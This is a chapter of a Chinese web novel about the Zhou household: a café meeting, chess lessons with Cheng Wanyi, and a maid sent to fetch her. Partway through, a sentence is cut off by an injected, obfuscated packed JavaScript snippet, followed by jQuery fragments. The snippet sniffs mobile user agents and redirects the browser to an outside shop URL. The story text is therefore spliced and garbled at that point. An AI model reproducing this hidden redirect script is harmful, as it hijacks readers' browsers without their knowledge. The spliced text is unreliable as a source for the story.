22. 没安好心

作品:《大少他开始后悔了

    在春三月的最后几天,周家两位小姐进入学堂读书。


    周漱玉的时间开始变得不够用了起来,她除了正常上课,还加入了校外的联合社团,与一群热爱棋类的同学们切磋棋艺。吃了晚饭,还要溜去程婉宜的小院坐一坐,有时候是聊天,有时候是对弈,每日总是充实又繁忙。


    而周鸣玉则要清闲得多,她与吴媛婕玩到了一起,又在她的带领下,逐渐融入了当地的社交圈子。一些小姐少爷因为她是督军女儿的缘故,对她格外追捧。商会会长的儿子赵安成也是她的裙下臣之一。


    赵安成的模样在众多公子哥里又比较出众,所以自然而然成了周鸣玉钦点的骑士,成日跟在她的身后,唯命是从。


    这日,三人约在咖啡厅见面,但一向来得早的赵安成却不见人影。


    周鸣玉一下就挂了脸,吴媛婕安慰:“估摸着是堵车了,这几日外来的车特别多,我昨日回去都晚了二十分钟。”倒不是她好心帮着赵安成,而是这俩要真是闹别扭,她还得跑前跑后当和事佬,吃力不讨好。


    周鸣玉的脸色缓和了些,只是语气还是不佳:“我管他做什么,来不来是他的自由。”


    话音刚落,赵安成便推开包间进来。“对不住,我来晚了。”他身后跟着一个穿着洋气的姑娘,“我今日有事耽搁了一下,路上又遇到了一个熟人。”


    吴媛婕暗道不妙,看了一眼周鸣玉的脸色,果然比刚刚还要黑上几分。


    “给你们介绍一下,这位是贺雨柔。”赵成安将人领到身前,“我以前在临湾认识的朋友,这两天刚来昌明,刚刚我说的熟人就是她。”


    贺雨柔的长相不出挑,但通身的气派并不容小觑,浑身上下穿的戴的都是百货商场里的最新款,一般小家庭可养不出来。


    “你们好呀。”她笑意盈盈,一点没有娇养出来的小姐架子。


    吴媛婕迎上去,将两人错开:“贺小姐你好,我们是成少的朋友,以前倒是没听他提起过你。”


    赵安成在周鸣玉身侧坐下,解释道:“去年跟我爹去过一趟临湾,在宴会上见过。今天来的时候,恰好遇到,便带过来跟你们认识。”


    吴媛婕松了一口气,还好不是什么修罗场。


    她赶紧拉着人坐下,又叫侍应生拿新的菜单来。


    周鸣玉全程没动,她一声不吭地将人从头打量到尾,可以说是有点冒犯的。但贺雨柔好似一点也不放在心上,反而拿出了两个精致的礼品袋递给她们。


    “今日来得匆忙没有准备,所幸来的路上有百货商场,就购置了两份见面礼,希望你们能喜欢。”


    “贺小姐你太客气了。”吴媛婕满心欢喜地接过,盒子里是一个做工精美的发卡,这周才上的新货。


    吃人嘴短,拿人手软,这个朋友她交定了。


    周鸣玉的则是一条更加昂贵的多层珍珠项链,中间还嵌了一颗蓝色的宝石。


    这个东西刚上架的时候她一眼就喜欢上了,但是这家新开的铺子根本不卖,说是只提供给老顾客,当时差点没把她气死。


    如今突然握在手里,她倒是有点恍惚了。


    贺雨柔:“我听说三小姐喜欢洋装,希望这条项链可以派得上用场。”


    她说话的声音很温和,是让人无法讨厌起来的声线,周鸣玉的态度开始缓和下来。


    四人在包间闲聊,一直待到日落西山。


    结束后,三个姑娘俨然已经成了密友,还相约以后一起逛街看电影。


    四人在咖啡馆门口分别,各自坐上了回家的汽车。


    周鸣玉提着礼品袋欢欢喜喜地回了家,或许是心情好,她在门口遇到周漱玉的时候,竟然邀请她下周末来参加她举办的茶话会。


    周漱玉跟见了鬼似的,十分害怕,然后拒绝了。


    周鸣玉竟然也没恼,说了声好吧,就若无其事地离开了。


    周漱玉足足在大门口静站了三秒钟才进去。


    晚饭倒是风平浪静没什么异常,用餐结束后,她跟平日一样往程婉宜的小院跑。


    自从加入了棋社后,周漱玉找程婉宜下棋的次数越来越多,看似对弈实则指导。每晚雷打不动地练几道活死题,连做梦都在背棋谱,整个人跟钻进了棋盘似的。


    程婉宜都怕她走火入魔,建议她休息两天。


    周漱玉撸起袖子:“不行,这个周末我要一雪前耻。”


    上个月她排名突然后退,被新来的人后来居上,这次排名赛她要重回前十名。


    程婉宜笑得不行,“真真是个棋痴。”


    “我这算啥。”周漱玉说,“我爹才痴呢,有时候晚上都搂着棋盘睡觉。”只不过现在太忙了,得闲时只有陆叔叔偶尔陪他下两局过过瘾。


    她将今日在棋社的对弈局默出来,程婉宜协助她复盘,点出了她几个错误。


    程婉宜:“你下棋太执着提子了,有时候弃子反而是最好的进攻。”她将棋盘清空,“现在我们按照刚刚的棋路重新下一次。”


    一个小时候,周漱玉又输了,但这次输的不惨。


    “婉宜嫂嫂你好厉害啊,我刚下的时候以为对面坐的是他呢。”


    程婉宜喝了一口果汁,又出了两道题,“你这周把这两道题解出来,或许周末能侥幸赢一次他。”


    周漱玉忍不住去拉程婉宜的手,大呼:“婉宜嫂嫂我就知道你有绝招传给我。”


    “绝招称不上,只能算投机取巧。”程婉宜翘起嘴角,“不过只能用一次,他以后肯定会防着你了。”


    这时候青萝过来,幽幽地在周漱玉耳边说:“四小姐,你的算术题好像还没做完呢。”


    正兴奋的周漱玉突然大叫一声,她完全忘了此事。幸好青萝刚刚收拾东西的时候,翻出来她昨日写了一半的算术题,不然明早手心肯定要遭罪了。


    草稿纸上已经列了一些演算,但都是错的。


    “婉宜嫂嫂,这好像是你的笔迹。”


    程婉宜突然红了脸,她今日白天无事瞎算的,竟然忘了扔。


    “你别看,我瞎写的。”她走过去将演算纸夺过来,一把团了扔进了纸篓里。


    周漱玉偶尔会将课本带到她房间温习,说是她这里清静,能沉得下心。


    她有时候会围观,觉得十分新奇。与她读的那些杂书文学不一样,感觉这些课本里的东西更加深奥和有趣。


    她不由得开始好奇,时常与周漱玉一同学习。


    在围棋上,她是老师,在读书解题上,她又变成了学生。


    周漱玉:“不算瞎写,解算思路很清晰。”


    她忽然感慨了一下:“婉宜嫂嫂要是能去学堂就好了,说不定还是优等生呢。”


    程婉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331561|198287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宜苦笑:“你赶紧做题吧,再晚小心你明日起不来。”


    周漱玉在一声哀嚎中投入了战斗。


    到了围棋排名赛那天,她用了早饭便出了门。


    程婉宜与她道别后,回屋将搁置了许久的琴抱出来,准备更换新弦。


    青萝见了问:“小姐你不是不换吗?”


    那日可生了好大的气性,差点要将这新弦扔了出去。


    程婉宜好似忘了似的,说:“白得的好东西,怎么能辜负了呢。”


    话虽这么说,但她心里却高兴不起来。


    周行之花了大价钱送上门一个警告,她用了倒像是认错似的。不用,又暴殄天物。她只好劝自己,就当自己白得了一件贵重的礼物。


    她调好了音后,试着拨了两下,泛音似乎更清晰了,手感也好。


    她又弹了一首峪州小调,一下就高兴起来,把周行之那张骇人的冷脸抛诸脑后了。


    青萝托着腮当观众,许久没听到熟悉的曲调了,倒是将她的乡愁勾了出来。


    “以前听这调子只觉得热闹,怎么今日小姐一弹,我听着怎么那么苦呢。”


    “青萝这是想家了?”程婉宜问。


    青萝点头又摇头,说:“只是想阿嬷了。”


    两人正沉溺在思念的愁绪中,有个丫头搓着衣角犹犹豫豫地走进来。


    “程小姐,三小姐请您过去玩呢。”


    青萝一看是洗衣房的熟人,忙擦干了泪上前问:“春桃,你怎么过来了?”


    春桃有点为难,她小声说:“是三小姐让我来请程小姐过去。”


    “过去干嘛?”青萝一听三小姐有请就没好气,她们之间可是有过节的,平白无故派人来请,跟黄鼠狼给鸡拜年有什么区别。


    “我也不知道。”春桃说,“只是吩咐我来请人。”


    青萝替程婉宜回答:“你就说我们小姐没空。”


    春桃没动,而是把目光看向了程婉宜。


    程婉宜:“青萝的意思就是我的意思。”


    春桃肉眼可见地急了起来,她纠结了一会儿,恳求道:“程小姐您就去一趟吧,否则我要被二姨娘扣工钱了。”


    青萝一听,立刻挡在春桃跟前,质问:“春桃你说这话是什么意思?你这是要把扣工钱的罪名安在我们小姐头上吗?”


    春桃也是没有办法,她包着眼泪,气愤地说:“我能怎么办?我娘还指着我的工钱买药喝呢!”


    青萝脑子懵了一下,只见春桃低头抹了一把眼泪,继续说:“要怪就怪你们当初要可怜我,你还要跟我做朋友。现在被三小姐知道了我们俩的关系,便要让我过来请程小姐。”


    最后她委屈地抬头喊道:“谁让你要烂好心,现在把我也拖下了水!”说完的瞬间她自己又愣住了,好像有些后悔,最后干脆扑通一声跪在了地上。


    “程小姐,您就好心最后再帮我一次,我是个白眼狼,我给你磕头赔罪。”


    青萝脚快,一下就垫在她的额头下,骂道:“谁要你的赔罪,你赶紧走,不要脏了我们的院子。”


    春桃不为所动,青萝气得去拉她。


    “走吧。”


    青萝不可置信地瞪大了双眼,“小姐……”


    春桃这会儿已经站起来了,她迅速把眼泪擦干。


    “谢谢程小姐!”